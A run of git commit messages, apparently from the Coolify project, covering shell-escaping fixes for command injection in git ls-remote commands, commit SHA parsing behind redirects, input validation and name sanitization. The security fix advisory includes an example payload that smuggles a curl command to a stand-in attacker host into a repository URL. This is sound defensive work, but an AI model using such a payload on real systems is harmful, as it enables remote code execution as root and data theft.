The custom_network_aliases attribute in the Application model was being cast to an array directly. This commit refactors the attribute to provide both a string representation (for compatibility with older configurations and hashing) and an array representation for internal use. This ensures that network aliases are correctly parsed and utilized, preventing potential issues during deployment and configuration updates.
**Security Fix: Command Injection Vulnerability**
This commit addresses a critical command injection vulnerability in the
`generateGitLsRemoteCommands` method that could allow low-privileged users
(team members) to execute arbitrary commands as root on the Coolify instance.
**Vulnerability Details:**
- Affected deployment types: `deploy_key` and `source` (GithubApp)
- Attack vector: Malicious git repository URLs containing shell metacharacters
- Impact: Remote code execution as root
- Example payload: `repo.git';curl attacker.com/$(whoami)`
**Changes Made:**
1. **deploy_key deployment type** (Application.php:1111-1112):
- Added proper escaping for `$customRepository` in git ls-remote commands
- Uses `str_replace("'", "'\\''", ...)` to escape single quotes for bash -c context
- Wraps repository URL in single quotes to prevent interpretation of shell metacharacters
2. **source deployment type with GithubApp** (Application.php:1067-1086):
- Added `escapeshellarg()` for all repository URL variations
- Covers both public and private repositories
- Handles both Docker and non-Docker execution contexts
3. **Added comprehensive unit tests** (tests/Unit/ApplicationGitSecurityTest.php):
- Tests for deploy_key type command injection prevention
- Tests for source type with public repos
- Tests for other type (already fixed in previous commit)
- Validates that malicious payloads are properly escaped
**Note:** The `other` deployment type was already fixed in commit b81baff4b.
This commit completes the security fix for all deployment types.
**Technical Details:**
The fix accounts for the `executeInDocker()` wrapper which uses `bash -c '...'`.
When commands are executed inside `bash -c` with single quotes, we must escape
single quotes as `'\''` to prevent the quotes from closing prematurely and
allowing shell injection.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
Two improvements to Git deployment handling:
1. **ApplicationDeploymentJob.php**:
- Fixed log message to show actual resolved commit SHA (`$this->commit`)
- Previously showed `$this->application->git_commit_sha` which could be "HEAD"
- Now displays the actual 40-character commit SHA that will be deployed
2. **Application.php (generateGitLsRemoteCommands)**:
- Added `escapeshellarg()` for repository URL in 'other' deployment type
- Prevents shell injection in git ls-remote commands
- Complements existing shell escaping in `generateGitImportCommands`
- Ensures consistent security across all Git operations
**Security Impact:**
- All Git commands now use properly escaped repository URLs
- Prevents command injection through malicious repository URLs
- Consistent escaping in both ls-remote and clone operations
**User Experience:**
- Deployment logs now show exact commit SHA being deployed
- More accurate debugging information for deployment issues
Co-Authored-By: Claude <noreply@anthropic.com>
Fixes deployment failures when Git repositories redirect (e.g., tangled.sh → tangled.org)
and improves security by adding proper shell escaping for repository URLs.
**Root Cause:**
Git redirect warnings can appear on the same line as ls-remote output with no newline:
`warning: redirecting to https://tangled.org/...196d3df... refs/heads/master`
The previous parsing logic split by newlines and extracted text before tabs, which
included the entire warning message instead of just the 40-character commit SHA.
**Changes:**
1. **Fixed commit SHA extraction** (ApplicationDeploymentJob.php):
- Changed from line-based parsing to regex pattern matching
- Uses `/([0-9a-f]{40})\s*\t/` to find valid 40-char hex commit SHA before tab
- Handles warnings on same line, separate lines, multiple warnings, and whitespace
- Added comprehensive Ray debug logs for troubleshooting
2. **Added security fix** (Application.php):
- Added `escapeshellarg()` for repository URLs in 'other' deployment type
- Prevents shell injection and fixes parsing issues with special characters like `@`
- Added Ray debug logs for deployment type tracking
3. **Comprehensive test coverage** (GitLsRemoteParsingTest.php):
- Tests normal output without warnings
- Tests redirect warning on separate line
- Tests redirect warning on same line (actual tangled.sh format)
- Tests multiple warning lines
- Tests extra whitespace handling
**Resolves:**
- Linear issue COOLGH-53: Valid git URLs are rejected as being invalid
- GitHub issue #6568: tangled.sh deployments failing
- Handles Git redirects universally for all Git hosting services
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
- Introduced logic to automatically create a default NIXPACKS_NODE_VERSION environment variable when an application uses the 'nixpacks' build pack.
- Ensured the environment variable is configured with appropriate attributes for build-time usage.
- Updated the ordering logic in the environment_variables methods for both Application and Service models to prioritize required variables over service-prefixed keys.
- This change enhances the clarity and organization of environment variable retrieval, ensuring that essential variables are listed first.
- Add automatic trimming in Application model's boot method for git_repository, git_branch, and git_commit_sha fields
- Add real-time trimming in Source Livewire component via updated{Property} methods
- Refresh component state after save to ensure UI displays trimmed values
- Prevents deployment issues caused by accidental whitespace in git configuration
- Introduced `ValidGitRepositoryUrl` and `ValidGitBranch` validation rules to ensure safe and valid input for Git repository URLs and branch names.
- Updated relevant Livewire components and API controllers to utilize the new validation rules, enhancing security against command injection and invalid inputs.
- Refactored existing validation logic to improve consistency and maintainability across the application.
- Introduced a new boolean setting `is_git_shallow_clone_enabled` to the application settings model.
- Updated the `Advanced` component to include a checkbox for enabling shallow cloning.
- Modified the `setGitImportSettings` and `generateGitImportCommands` methods to handle shallow clone logic.
- Created a migration to add the new setting to the database schema.
- Enhanced the deployment process to utilize shallow cloning for improved performance.
- Introduced `ValidationPatterns` class to standardize validation rules and messages for name and description fields across the application.
- Updated various components and models to utilize the new validation patterns, ensuring consistent sanitization and validation logic.
- Replaced the `HasSafeNameAttribute` trait with `HasSafeStringAttribute` to enhance attribute handling and maintain consistency in name sanitization.
- Enhanced the `CleanupNames` command to align with the new validation rules, allowing for a broader range of valid characters in names.
- Introduced `CleanupNames` command to sanitize name fields by removing invalid characters, ensuring only letters, numbers, spaces, dashes, underscores, and dots are retained.
- Implemented options for dry run, model-specific cleaning, database backup, and forced execution.
- Updated `Init` command to call the new `cleanup:names` command.
- Enhanced project and environment validation to enforce name sanitization rules.
- Added `HasSafeNameAttribute` trait to relevant models for consistent name handling.
